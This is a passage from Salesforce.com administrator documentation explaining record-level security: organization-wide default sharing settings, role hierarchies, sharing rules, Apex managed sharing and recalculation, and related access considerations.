be able to search and retrieve records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support for assistance with setting up your organization to prevent unwanted access
to those field values.

Record-Level Security (Sharing)


After setting object- and field-level access permissions for your various profiles, you need to configure the access permissions
for the actual records themselves. Record-level security allows you to grant users access to some object records, but not
others.
To specify record-level security, set your organization-wide defaults, define a role hierarchy, and create sharing rules:

• The first step in record-level security is to determine the organization-wide defaults for each object. Organization-wide
defaults specify the default level of access to records and can be set separately for accounts (including assets and
contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects. For
most objects, organization-wide defaults can be set to Private, Public Read Only, or Public Read/Write.
You use organization-wide defaults to lock down your data to the most restrictive level, and then use the other
record-level security and sharing tools (role hierarchies, sharing rules, and manual sharing) to open up the data to
other users who need to access it. For example, for users whose profiles allow them to see and view opportunities,
you can set the default to Read-Only. Those users are able to read all opportunity records, but cannot edit any unless
they own the record or are granted additional permissions.
• The first way you can share access to records is by defining a role hierarchy. Similar to an organization chart, a
hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that a manager
always has access to the same data as his or her employees, regardless of the organization-wide default settings. Role
hierarchies do not have to match your organization chart exactly. Instead, each role in the hierarchy should represent
a level of data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,

194
Security and Sharing Securing Data Access

you could create a territory hierarchy in which a user with the “North America” role has access to different data than
users with the “Canada” and “United States” roles.
Note: Although it is easy to confuse profiles with roles, they control two very different things. Profiles control
a user's object- and field-level access permissions. Roles primarily control a user's record-level access permissions
through role hierarchy and sharing rules.

• Sharing rules let you make automatic exceptions to organization-wide defaults for particular sets of users to give them
access to records they do not own or cannot normally see. Sharing rules, like role hierarchies, are only used to open
up record access to more users, and can never be stricter than your organization-wide default settings. Sharing rules
work best when they are defined for a particular set of users that you can determine or predict in advance, rather than
a set of users that is frequently changing. A set of users can be a public or personal group, a role, a territory, or a
queue.
Sometimes it is impossible to define a consistent group of users who need access to a particular set of records. In
those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.
If sharing rules and manual sharing do not give you the control you need, you can also use Apex managed sharing.
Apex managed sharing allows developers to use Apex to programmatically share custom objects. When you use Apex
managed sharing to share a custom object, only users with the “Modify All Data” permission can add or change the
sharing on the custom object's record, and the sharing access is maintained across record owner changes. For more
information, see Apex Managed Sharing on page 196.

See Also:
Managing Profiles
Setting Field-Level Security
Managing the Sharing Settings
Setting Your Organization-Wide Default Sharing Model
Managing Roles
Setting Sharing Rules
Granting Access to Records
Managing Queues

195
Security and Sharing Managing the Sharing Settings

Managing the Sharing Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

Using Salesforce.com, you can control access to data at many different levels. For example, you can control the access your
users have to objects by customizing user profiles. Within objects, you can control the access users have to fields using field-level
security. To control access to data at the record level, use the sharing settings described below.
View your sharing settings by clicking Setup ➤ Security Controls ➤ Sharing Settings. You can either view all lists at once,
or you can use the Manage sharing settings for drop-down list at the top of the page to view only organization-wide
defaults and sharing rules for a selected object.

Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend
that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private
if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to
particular users or groups.

Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults
of Public Read Only or Private, you can define rules that give additional users access to records they do not own. You can
create sharing rules that are based on the record owner, or based on field values in the record.
Tip: Sometimes it is impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.

Apex Managed Sharing


Apex managed sharing allows developers to use Apex to programmatically share custom objects. When you use Apex managed
sharing to share a custom object, only users with the “Modify All Data” permission can add or change the sharing on the
custom object's record, and the sharing access is maintained across record owner changes.
When working with Apex managed sharing, note the following:
• Apex managed sharing is only available for custom object records.
• Apex managed sharing is available only with classes or triggers saved using Salesforce.com API Version 13.0 or later.

196
Security and Sharing Managing the Sharing Settings

• Developers must create Apex sharing reasons to indicate why sharing was implemented, simplify the coding required to
update and delete sharing records, and share a record multiple times with the same user or group using different Apex
sharing reasons..
• Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents an Apex script
from granting access to a user as defined by the application’s logic. Apex sharing recalculations are also useful for resolving
visibility issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing
records they should see, the correction might only affect records created after the code update. To ensure the correction
applies to existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Sharing Overrides
When an object is selected in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any
profiles that ignore sharing settings for that object. For each profile, the list specifies the permissions that allow it to override
sharing settings. The “View All Data” and “Modify All Data” permissions override sharing settings for all objects in the
organization, while the object permissions “View All” and “Modify All” override sharing settings for the named object.
To override sharing settings for specific objects, you can create or edit custom profiles that use the “View All” and “Modify
All” object permissions. These permissions provide access to all records associated with an object across the organization,
regardless of the sharing settings. Before setting these permissions, compare the different ways to control data access. For
more information, see Comparing Security Models on page 163.

Other Methods for Allowing Access to Records


In addition to sharing settings, there are a few other ways to allow multiple users access to given records:
• Control access to data categories by mapping them to user roles. See Category Group Visibility Settings Overview on page
1484.
• Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either
manually or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user or
taken by one of the members of the queue. Any queue member or users above them in the role hierarchy can take ownership
of records in a queue. Use queues to route lead, case, and custom object records to a group.
• For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team is
a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each
record that they own. The record owner adds team members and specifies the level of access each team member has to the
record, so that some team members can have read-only access and others can have read/write access. The record owner
can also specify a role for each team member, such as “Executive Sponsor.” In account teams, team members also have
access to any contacts, opportunities, and cases associated with an account.

197
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing
rule. In this case, the team member has the highest access level granted, regardless of the access level specified in
the team.

See Also:
Securing Data Access
Managing Profiles
Setting Field-Level Security
Sharing Model Fields
About Sharing Rules
Sharing Considerations
Account Team Overview
Sales Teams Overview
Case Teams Overview

Setting Your Organization-Wide Default Sharing Model


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

An administrator can define the default sharing model for your organization by setting organization-wide defaults.
Organization-wide defaults specify the default level of access to records and can be set separately for accounts (including assets
and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects. For most
objects, organization-wide defaults can be set to Private, Public Read Only, or Public Read/Write. See Sharing Model Fields
on page 200 for the various options.
Tip: Developers can use Apex to programmatically share custom objects. For more information, see Apex Managed
Sharing on page 196 and the Force.com Apex Code Developer's Guide.

By default, Salesforce.com uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy. Professional, Enterprise, Unlimited, and Developer Edition organizations can disable
this for custom objects using the Grant Access Using Hierarchies checkbox next to the organization-wide defaults setting.
If you deselect this checkbox next to a custom object, only the record owner and users granted access by the organization-wide
defaults receive access to the records.

198
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Note: If the Grant Access Using Hierarchies checkbox is deselected, users that are higher in the role hierarchy do
not receive any access based on role. Still, users can gain access to records they do not own through other means, such
as the “View All” and “Modify All” object-level permissions for the given object, and the “View All Data” and “Modify
All Data” permissions.

In environments where the sharing model for an object has been set to Private or Public Read Only, an administrator can
grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can
only be used to grant additional access—they cannot be used to restrict access to records beyond what was originally specified
with the sharing model through organization-wide defaults.
The default organization-wide setting for each object is shown below.

Object Default Access


Accounts Public Read/Write
Activities Private
Assets Public Read/Write
Calendar Hide Details and Add Events
Campaigns Public Full Access
Cases Public Read/Write/Transfer
Contacts Controlled by Parent
Contracts Public Read/Write
Custom Objects Public Read/Write
Leads Public Read/Write/Transfer
Opportunities Public Read Only
Price Books Use

To change organization-wide settings for an object:


1. Click Setup ➤ Security Controls ➤ Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
Note: When a custom object is on the detail side of a master-detail relationship with a standard object, its
organization-wide default is set to Controlled by Parent and it is not editable.

To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that
does not have a default access of Controlled by Parent.

Important: Before you enable contacts to access the Salesforce.com Customer Portal for your organization, set the
organization-wide defaults on accounts, contacts, contracts, assets, and cases to Private so that your customers can
only view their own data. If you set the organization-wide defaults for these objects to Private, you can still grant your
Salesforce.com users Public Read/Write access to them by creating sharing rules in which owners equal Internal Users
who share with Internal Users. For more information, see Setting Sharing Rules on page 211 and Setting Up Your
Customer Portal on page 1426.

199
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Note: The organization-wide default setting for some objects cannot be changed:

• Solution records are always Public Read/Write and cannot be changed.


• The ability to view or edit a document is based on a user's access to the folder in which the document is stored.
• There is no organization-wide default for customizable forecast sharing. A user can only view the forecasts of other
users who are placed below him or her in the role hierarchy, unless forecast sharing has been enabled. See Manually
Sharing a Forecast on page 748.
• You cannot change the organization-wide default settings for an object if an Apex script examines the sharing
entries associated with that object. For example, if a script retrieves the users and groups who have sharing access
on an account (represented as the AccountShare object in the code), then you cannot edit the organization-wide
sharing default for accounts. For more information, see Force.com Apex Code Overview on page 964.

See Also:
Managing the Sharing Settings
Sharing Model Fields
Administrator tip sheet: Tips & Hints for Sharing Data
Controlling Access Using Hierarchies

Sharing Model Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”

You can use organization-wide defaults to set the default level of record access for the following objects.

• Campaigns
• Leads
• Accounts and their associated contracts and assets
• Contacts
• Opportunities
• Cases
• Activities
• Calendars
• Price books
• Custom objects

You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.

200
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Field Description
Controlled by Parent A user can perform an action (such as view, edit, or delete) on
a contact based on whether he or she can perform that same
action on the record associated with it.
For example, if a contact is associated with the Acme account,
then a user can only edit that contact if he or she can also edit
the Acme account.

Private Only the record owner, and users above that role in the
hierarchy, can view, edit, and report on those records.
For example, if Tom is the owner of an account, and he is
assigned to the role of Western Sales, reporting to Carol (who
is in the role of VP of Western Region Sales), then Carol can
also view, edit, and report on Tom’s accounts.

Public Read Only All users can view and report on records but not edit them.
Only the owner, and users above that role in the hierarchy,
can edit those records.
For example, Sara is the owner of ABC Corp. Sara is also in
the role Western Sales, reporting to Carol, who is in the role
of VP of Western Region Sales. Sara and Carol have full
read/write access to ABC Corp. Tom (another Western Sales
Rep) can also view and report on ABC Corp, but cannot edit
it.

Public Read/Write All users can view, edit, and report on all records.
For example, if Tom is the owner of Trident Inc., all other
users can view, edit, and report on the Trident account.
However, only Tom can alter the sharing settings or delete
the Trident account.

Public Read/Write/Transfer All users can view, edit, transfer, and report on all records.
Only available for cases or leads.
For example, if Alice is the owner of ACME case number
100, all other users can view, edit, transfer ownership, and
report on that case. But only Alice can delete or change the
sharing on case 100.

Public Full Access All users can view, edit, transfer, delete, and report on all
records. Only available for campaigns.
For example, if Ben is the owner of a campaign, all other users
can view, edit, transfer, or delete that campaign.

Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public
Read/Write.

201
Security and Sharing Setting Your Organization-Wide Default Sharing Model

You can assign the following access levels to personal calendars.

Field Description
Hide Details Others can see whether the user is available at given times,
but can not see any other information about the nature of
events in the user’s calendar.
Hide Details and Add Events In addition to the sharing levels set by Hide Details, users can
insert events in other users’ calendars.
Show Details Users can see detailed information about events in other users’
calendars.
Show Details and Add Events In addition to the sharing levels set by Show Details, users
can insert events in other users’ calendars.
Full Access Users can see detailed information about events in other users’
calendars, insert events in other users’ calendars, and edit
existing events in other users’ calendars.

Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users
to group events.

You can assign the following access levels to price books.

Field Description
Use All users can view price books and add them to opportunities.
Users can add any product within that price book to an
opportunity.
View Only All users can view and report on price books but only users
with the “Edit” permission on opportunities or users that have
been manually granted use access to the price book can add
them to opportunities.
No Access Users cannot see price books or add them to opportunities.
Use this access level in your organization-wide default if you
want only selected users to access selected price books. Then,
manually share the appropriate price books with the
appropriate users. See Sharing Price Books on page 1838 for
information on manually sharing a price book to your users.

You can assign the following access levels to activities.

Field Description
Private Only the activity owner, and users above the activity owner in
the role hierarchy, can edit and delete the activity; users with

202
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Field Description
read access to the record to which the activity is associated can
view and report on the activity.
Controlled by Parent A user can perform an action (such as view, edit, transfer, and
delete) on an activity based on whether he or she can perform
that same action on the records associated with the activity.
For example, if a task is associated with the Acme account
and the John Smith contact, then a user can only edit that task
if he or she can also edit the Acme account and the John Smith
record.

See Also:
Managing the Sharing Settings
Setting Your Organization-Wide Default Sharing Model

Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship
between role hierarchies, user profiles, sharing rules, and exceptions for certain situations. Review the following notes before
setting your sharing model:

Exceptions to Role Hierarchy-based Sharing


Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this
include:
• An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For
more information on this setting, see Controlling Access Using Hierarchies on page 206.
• Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view
it. Contact sharing rules do not apply to private contacts.
• Notes and attachments marked as private via the Private checkbox are accessible only to the owner and administrators.
• Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the
event details when viewing the event owner’s calendar. However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches, or when viewing other users’ calendars.
• Managers in the role hierarchy cannot view or edit their subordinate's records if they do not have the “Read” or “Edit” user
permissions for the type of record. Object permissions are set on a user's profile.

Deleting Records
• The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above
the record owner, and any user that has been granted “Full Access.”
• If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user
can delete those types of records.

203
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Adding Related Items to a Record


• You must have “Read/Write” access to a record to be able to add notes or attachments to the record.
• You must have at least “Read” access to a record to be able to add activities or other associated records to it.

Adding or Removing Sharing Access Manually


• The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner,
users in a role hierarchy above the record owner, and any user that has been granted “Full Access.” See Sharing Accounts
on page 1148, Sharing Campaigns on page 1316, Sharing Contacts on page 1395, Sharing Opportunities on page 1725, Sharing
Cases on page 1346, and Sharing Leads on page 1687.
• Changing your sharing model deletes any manual shares your users have created.

User Permissions and Object-Level Permissions


While your sharing model controls visibility to records, user permissions and object-level permissions control what users can
do to those records.
• Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an
account, those users can only see the account if they have the “Read” permission on accounts. Likewise, users who have
the “Edit” permission on contacts may still not be able to edit contacts they do not own if they are working in a Private
sharing model.
• Administrators, and users with the “View All Data” or “Modify All Data” permissions, have access to view or edit all data.

Account Sharing
• To restrict users’ access to records they do not own that are associated with accounts they do own, set the appropriate access
level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with
accounts they do own using the Opportunity Access option.
• Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users
can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts. See
Territory Management Overview on page 2131.

Apex Sharing
• You cannot change the organization-wide default settings for an object if an Apex script examines the sharing entries
associated with that object. For example, if a script retrieves the users and groups who have sharing access on an account
(represented as the AccountShare object in the code), then you cannot edit the organization-wide sharing default for
accounts. For more information, see Force.com Apex Code Overview on page 964.

Campaign Sharing
• In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing.
This simplifies administration and troubleshooting because access can be controlled using sharing and profiles.
Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in
Professional Edition organizations.

• To segment visibility between business units while maintaining existing behavior within a business unit:
1. Set the campaign organization-wide default to Private.
2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business
unit.

204
Security and Sharing Setting Your Organization-Wide Default Sharing Model

3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by
users in their business unit.

• When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility
between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns
owned by a user and do not allow segmenting visibility.
• Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on
your users.
• To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to
campaigns owned by members of the “Entire Organization” public group.
• Minimize the number of sharing rules you need to create by using the “Roles and Subordinates” option instead of choosing
a specific role.
• If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all
the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within
the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy
statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics
fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more
information, see Viewing Campaign Hierarchy Statistics on page 1278.
• If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.

Campaign Member Sharing


Campaign member sharing is controlled by campaign sharing rules. Users that can see a campaign can also see associated
campaign members.

Contact Sharing
• The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.

Price Book Sharing


• Sharing on price books controls whether users can add the price book and its products to opportunities.
• User permissions on profiles control whether users can view, create, edit, and delete price books.

205
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Controlling Access Using Hierarchies


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

To change the Grant Access Using Hierarchies “Manage Users”


option:
AND
“Customize Application”

Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access
to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or
territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access
Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not
own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the
Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects.

To control sharing access using hierarchies for any custom object, click Setup ➤ Security Controls ➤ Sharing Settings and
Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want to prevent
users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies.

Implementation Notes
• Regardless of your organization's sharing settings, users can gain access to records they do not own through other means
such as user permissions like “View All Data,” sharing rules, or manual sharing of individual records.
• The Grant Access Using Hierarchies option is always selected on standard objects and is not editable.
• If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only
shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the
hierarchies will not gain access.
• If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object
are still visible to users above the activity’s assignee in the role hierarchy.
• If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is
automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default.
• The Grant Access Using Hierarchies option affects which users gain access to data when something is shared
with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group
members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual
sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using
Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access
reasons that depend on the Grant Access Using Hierarchies option.

206
Security and Sharing Setting Your Organization-Wide Default Sharing Model

These reasons always gain access:


Group Member
Queue Member
Role Member
Member of Subordinate Role
Territory Member
Member of Subordinate Territory

These reasons only gain access when using hierarchies:


Manager of Group Member
Manager of Queue Member
Manager of Role
Manager of Territory
User Role Manager of Territory

Best Practices
• When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can
expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list
returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of
report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule
or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down
list return the same results. However, choosing the Activities with... any custom object report type when creating a custom
report returns activities assigned to you as well as your subordinates in the role hierarchy.

See Also:
Sharing Model Fields
Setting Your Organization-Wide Default Sharing Model

Creating Apex Sharing Reasons


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create Apex sharing reasons: “Author Apex”
To view Apex sharing reasons: “View Setup and Configuration”

When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was
implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the
same user or group using different Apex sharing reasons.

207
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Salesforce.com displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in
the user interface. This allows users and administrators to understand the purpose of the sharing.
When working with Apex sharing reasons, note the following:

• Apex sharing reasons are only available for custom objects.


• Only users with the “Modify All Data” permission can add, edit, or delete sharing that uses an Apex sharing reason.
• Deleting an Apex sharing reason will delete all sharing on the object that uses the reason.
• You can create up to ten Apex sharing reasons per custom object.

To create an Apex sharing reason:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Apex Sharing Reasons related list.
4. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record
in the user interface. The label is also enabled for translation through the Translation Workbench.
5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the Force.com API and Apex.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
6. Click Save.

See Also:
Recalculating Apex Managed Sharing
Force.com Apex Code Overview
Setting Your Organization-Wide Default Sharing Model
Granting Access to Records

Recalculating Apex Managed Sharing


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To associate an Apex managed sharing recalculation class: “Author Apex”
To run an Apex managed sharing recalculation: “Author Apex” OR “Manage Users”

Important: Apex sharing recalculations are only available by request. When packaging custom objects, remember
that associated Apex sharing recalculations are also included and may prevent the package from installing. Contact
salesforce.com for more information.

208
Security and Sharing Setting Your Organization-Wide Default Sharing Model

Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents an Apex script from
granting access to a user as defined by the application’s logic. Apex sharing recalculations are also useful for resolving visibility
issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records
they should see, the correction might only affect records created after the code update. To ensure the correction applies to
existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using
the Database.executeBatch method. In addition, Salesforce.com automatically runs Apex recalculation classes defined
for a custom object every time a custom object's organization wide sharing default access level is updated.
Note:
Salesforce.com automatically recalculates sharing for all records on an object when its organization-wide sharing default
access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are
removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a
user is deleted when the object’s sharing model is changed from Private to Public Read Only.

For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide.
To associate an Apex managed sharing recalculation class with a custom object:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Apex Sharing Recalculations related list.
4. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
5. Click Save.

To run an Apex sharing recalculation:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click Recalculate Apex Sharing.

When working with Apex sharing recalculations, note the following:

• The Apex script that extends the sharing recalculation can process a maximum of five million records. If the script affects
more than five million records, the job fails immediately.
• You can monitor the status of Apex sharing recalculations in the Apex job queue.
• You can associate a maximum of five Apex sharing recalculations per custom object.
• You cannot associate Apex sharing recalculations with standard objects.

See Also:
Creating Apex Sharing Reasons
Force.com Apex Code Overview
Setting Your Organization-Wide Default Sharing Model

209
Security and Sharing About Sharing Rules

About Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in Enterprise, Unlimited, and Developer Editions

Sharing rules allow you to make automatic exceptions to your organization-wide default for defined sets of users. For example,
use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than
your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules:

• Account Sharing Rules—Based on who owns the account, set default sharing access for accounts and their associated
cases, contracts, opportunities, and, optionally, contacts.
• Account Territory Sharing Rules—Based on territory assignment, set default sharing access for accounts and their
associated cases, contacts, contracts, and opportunities. See Territory Management Overview on page 2131.
• Campaign Sharing Rules—Based on who owns the campaign, set default sharing access for individual campaign records.
• Case Sharing Rules—Based on who owns the case, set default sharing access for individual cases and associated accounts.
• Contact Sharing Rules—Based on who owns the contact, set default sharing access for individual contacts and associated
accounts.
• Custom Object Sharing Rules—Based on who owns the custom object, set default sharing access for individual custom
object records.
• Lead Sharing Rules—Based on who owns the lead, set default sharing access for individual leads.
• Opportunity Sharing Rules—Based on who owns the opportunity, set default sharing access for individual opportunities
and their associated accounts.

See Also:
Setting Sharing Rules
Sample Uses for Sharing Rules
Sharing Rule Considerations

210
Security and Sharing About Sharing Rules

Sample Uses for Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in Enterprise, Unlimited, and Developer Editions

Sharing rules allow you to selectively grant data access to defined sets of users. Before creating sharing rules for your organization,
review the following samples and determine how sharing rules fit in your organization:

• Organizations with organization-wide defaults of Public Read Only or Private can create sharing rules to give specific users
access to data owned by other users.
• To use cases effectively, customer support users must have “Read” access to accounts and contacts. To do so, create the
appropriate sharing rules to give your customer support team access to accounts and contacts when working on cases.
• The Western and Eastern Regional Directors need to see all of the accounts created by each others’ sales reps. You can
create two public groups - one that includes the Western and Eastern Regional Director roles and one that includes the
Western and Eastern Sales Rep roles. Then create an account sharing rule so that records owned by the Western and
Eastern Sales Rep group are shared with the group containing the Western and Eastern Regional Director roles.

See Also:
Setting Sharing Rules
About Sharing Rules

Setting Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules: “Manage Users”

Sharing rules allow you to selectively give defined sets of users access to records based on record ownership. You can define
up to 100 owner-based sharing rules for each object.

211
Security and Sharing About Sharing Rules

Note: You can't include high-volume Customer Portal users in sharing rules because they don't have roles.

To create a sharing rule:

1. If you plan to share data with public groups, confirm that the appropriate public groups have been created. To create
groups, see Managing Groups on page 166.
2. Click Setup ➤ Security Controls ➤ Sharing Settings.
3. Click New in the appropriate related list under Sharing Rules. A page displays with sharing rule fields.
4. Select the source data set to be shared:

a. Choose a data set category. Appropriate data set categories display depending on the type of sharing rule and the
features enabled for your organization. The available categories include:

Category Description
Queues All records owned by the queue, excluding records owned
by individual members of the queue.
Public Groups All public groups defined by your administrator.
If a PRM portal or Customer Portal is enabled for your
organization, the All Partner Users or All Customer Portal
Users group displays. These groups includes all users
allowed to access your PRM or Customer Portal, except
for high-volume Customer Portal users.

Roles All roles defined for your organization. This includes all
of the users in the specified role.
Portal Roles All roles defined for your organization's PRM portal,
partner portal, or Salesforce.com Customer Portal. This
includes all of the users in the specified portal role, except
for high-volume Customer Portal users because they don't
have roles. Note that the name of a portal role includes
the name of the account with which it is associated, except
for person accounts, which include the user Alias. See
User Fields on page 52.
Roles and Subordinates All roles defined for your organization. This includes all
of the users in the specified role plus all of the users in roles
below that role, including PRM portal, partner portal, and
Customer Portal roles that contain users with the Customer
Portal Manager license type.
Note that portal roles are only included in this category if
a PRM portal, partner portal, or Customer Portal is
enabled for your organization.
The Roles and Subordinates data set category is only
available in your organization after you create at least one
role in the role hierarchy.

212
Security and Sharing About Sharing Rules

Category Description
Portal Roles and Subordinates All roles defined for your organization's PRM portal,
partner portal, or Customer Portal. This includes all of the
users in the specified portal role plus all of the users below
that role in the portal role hierarchy, except for
high-volume Customer Portal users because they don't
have roles. Note that the name of a portal role includes
the name of the account with which it is associated, except
for person accounts, which include the user Alias. See
User Fields on page 52.
Roles and Internal Subordinates All roles defined for your organization. This includes all
of the users in the specified role plus all of the users in roles
below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal,
